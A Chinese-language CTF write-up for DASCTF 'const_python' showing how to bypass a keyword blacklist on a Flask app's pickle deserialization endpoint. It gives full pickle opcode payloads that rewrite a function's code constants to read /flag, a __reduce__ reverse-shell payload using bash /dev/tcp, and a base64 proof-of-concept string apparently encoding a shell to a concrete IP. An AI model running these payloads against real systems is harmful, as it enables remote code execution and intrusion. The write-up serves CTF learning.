Pickle反序列化中的字节码重写绕过
1315609050541697 发表于 湖北 CTF 80浏览 · 2025-01-03 15:50

DASCTF-const_python

自认为搭建了一个完美的web应用,不会有问题,很自信地在src存放了源码,应该不会有人能拿到/flag的内容。

所给源码如下

import builtins
import io
import sys
import uuid
from flask import Flask, request, jsonify, session
import pickle
import base64


app = Flask(__name__)

app.config["SECRET_KEY"] = str(uuid.uuid4()).replace("-", "")


class User:
    def __init__(self, username, password, auth="ctfer"):
        self.username = username
        self.password = password
        self.auth = auth


password = str(uuid.uuid4()).replace("-", "")
Admin = User("admin", password, "admin")


@app.route("/")
def index():
    return "Welcome to my application"


@app.route("/login", methods=["GET", "POST"])
def post_login():
    if request.method == "POST":

        username = request.form["username"]
        password = request.form["password"]

        if username == "admin":
            if password == admin.password:
                session["username"] = "admin"
                return "Welcome Admin"
            else:
                return "Invalid Credentials"
        else:
            session["username"] = username

    return """
        <form method="post">
        <!-- /src may help you>
            Username: <input type="text" name="username"><br>
            Password: <input type="password" name="password"><br>
            <input type="submit" value="Login">
        </form>
    """


@app.route("/ppicklee", methods=["POST"])
def ppicklee():
    data = request.form["data"]

    sys.modules["os"] = "not allowed"
    sys.modules["sys"] = "not allowed"
    try:

        pickle_data = base64.b64decode(data)
        for i in {
            "os",
            "system",
            "eval",
            "setstate",
            "globals",
            "exec",
            "__builtins__",
            "template",
            "render",
            "\\",
            "compile",
            "requests",
            "exit",
            "pickle",
            "class",
            "mro",
            "flask",
            "sys",
            "base",
            "init",
            "config",
            "session",
        }:
            if i.encode() in pickle_data:
                return i + " waf !!!!!!!"

        pickle.loads(pickle_data)
        return "success pickle"
    except Exception as e:
        return "fail pickle"


@app.route("/admin", methods=["POST"])
def admin():
    username = session["username"]
    if username != "admin":
        return jsonify({"message": "You are not admin!"})
    return "Welcome Admin"


@app.route("/src")
def src():
    return open("app.py", "r", encoding="utf-8").read()


if __name__ == "__main__":
    app.run(host="0.0.0.0", debug=False, port=5000)

根据源码是pickle反序列化但是黑名单把很多函数过滤了,并且sys.modules的os和sys也被置换

预期:使用types的CodeType修改常量字节码,修改返回的文件

思路也是覆盖app.py,使用types的CodeType修改常量字节码,修改函数读取的文件

types.CodeType(oCode.co_argcount, 
                                oCode.co_posonlyargcount, 
                                oCode.co_kwonlyargcount, 
                                oCode.co_nlocals, 
                                oCode.co_stacksize, 
                                oCode.co_flags,
                                oCode.co_code, 
                                oCode.co_consts,   # 需要的
                                oCode.co_names, 
                                oCode.co_varnames,
                                oCode.co_filename,
                                oCode.co_name, 
                                oCode.co_firstlineno, 
                                oCode.co_lnotab,
                                oCode.co_freevars,
                                oCode.co_cellvars,)

co_consts是我们需要的覆盖的文件名字

def src():
    return  open("app.py", "r",encoding="utf-8").read()

oCode = src.__code__.co_consts
print(oCode)

然后就能看懂官方wp了

最终opcode实际做的操作如下

def src():
    return  open("app.py", "r",encoding="utf-8").read()

oCode = src.__code__
src.__code__= types.CodeType(oCode.co_argcount, 
                                oCode.co_posonlyargcount, 
                                oCode.co_kwonlyargcount, 
                                oCode.co_nlocals, 
                                oCode.co_stacksize, 
                                oCode.co_flags,
                                oCode.co_code, 
                                (None, '/flag', 'r', 'utf-8', ('encoding',))
                                oCode.co_names, 
                                oCode.co_varnames,
                                oCode.co_filename,
                                oCode.co_name, 
                                oCode.co_firstlineno, 
                                oCode.co_lnotab,
                                oCode.co_freevars,
                                oCode.co_cellvars,)

__code__ 属性是 Python 函数的一个内部对象,提供了关于该函数编译信息的详细信息。它包括许多关于该函数的信息,如字节码、参数等。常见的属性包括:

  • co_argcount:函数的参数数量。
  • co_varnames:函数的局部变量名。
  • co_code:字节码。
  • co_consts:常量池(函数中使用的常量)。
  • co_names:函数中引用的名称(例如,函数调用的其他函数名称)。
  • co_filename:函数所在的文件名。
    通过这个代码查看co_const
    ```python
    import builtins
    import types

def src():
return open("app.py", "r",encoding="utf-8").read()
for i in src.code.dir():
print(f"{i} : {getattr(src.code, i)}")

g1 = builtins.getattr
g2 = getattr(src,"code")
g3 = getattr(g2,"co_argcount")
g4 = getattr(g2,"co_posonlyargcount")
g5 = getattr(g2,"co_kwonlyargcount")
g6 = getattr(g2,"co_nlocals")
g7 = getattr(g2,"co_stacksize")
g8 = getattr(g2,"co_flags")
g9 = getattr(g2,"co_code")
g10 = (None, 'flag', 'r', 'utf-8', ('encoding',))#g10 = getattr(g2,"co_consts")
g11 = getattr(g2,"co_names")
g12 = getattr(g2,"co_varnames")
g13 = getattr(g2,"co_filename")
g14 = getattr(g2,"co_name")
g15 = getattr(g2,"co_firstlineno")
g16 = getattr(g2,"co_lnotab")
g17 = getattr(g2,"co_freevars")
g18 = getattr(g2,"co_cellvars")

g19 = types.CodeType(g3,g4,g5,g6,g7,g8,g9,g10,g11,g12,g13,g14,g15,g16,g17,g18)
g20 = builtins.setattr
g20(src,"code",g19)
print(src())

构造payloads
```python
op3 = b'''cbuiltins
getattr
p0
c__main__
src
p3
g0
(g3
S'__code__'
tRp4
g0
(g4
S'co_argcount'
tRp5
g0
(g4
S'co_argcount'
tRp6
g0
(g4
S'co_kwonlyargcount'
tRp7
g0
(g4
S'co_nlocals'
tRp8
g0
(g4
S'co_stacksize'
tRp9
g0
(g4
S'co_flags'
tRp10
g0
(g4
S'co_code'
tRp11
(NS'/flag'
S'r'
S'utf-8'
(S'encoding'
ttp12
g0
(g4
S'co_names'
tRp13
g0
(g4
S'co_varnames'
tRp14
g0
(g4
S'co_filename'
tRp15
g0
(g4
S'co_name'
tRp16
g0
(g4
S'co_firstlineno'
tRp17
g0
(g4
S'co_lnotab'
tRp18
g0
(g4
S'co_freevars'
tRp19
g0
(g4
S'co_cellvars'
tRp20
ctypes
CodeType
(g5
I0
g7
g8
g9
g10
g11
g12
g13
g14
g15
g16
g17
g18
g19
g20
tRp21
cbuiltins
setattr
(g3
S"__code__"
g21
tR.'''

非预期

通过翻阅发现subprocess没被过滤,可以非预期

import pickle
import base64
import subprocess



class A():

    def __reduce__(self):
        return (subprocess.run,(["bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"],))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

或者覆盖app.py利用读源码路由也可以利用成功

import os
import builtins
import pickle
import base64
import subprocess
class A():
    def __reduce__(self):
        return (subprocess.check_output, (["cp","/flag","/app/app.py"],))
a=A()
b=pickle.dumps(a)
with open("1.png", "wb") as f:
     pickle.dump(a, f)
print(base64.b64encode(b))

pker利用

工具链接:EddieIvan01/pker: Automatically converts Python source code to Pickle opcode
可以使用builtins.open,有read,有write,可以读取/flag,然后写到app.py

payload

getattr = GLOBAL('builtins', 'getattr')

open = GLOBAL('builtins', 'open')
flag=open('/flag')
read=getattr(flag, 'read')
f=open('./app.py','w')
write=getattr(f, 'write')
fff=read()
write(fff)
return

然后pker生成字节码

python3 pker.py < 1.py

poc传参

data=gASVWQAAAAAAAACMCnN1YnByb2Nlc3OUjANydW6Uk5RdlCiMBGJhc2iUjAItY5SMLGJhc2ggLWkgPiYgL2Rldi90Y3AvMTI0LjIyMC4zNy4xNzMvMjMzMyAwPiYxlGWFlFKULg==

0 条评论
某人
表情
可输入 255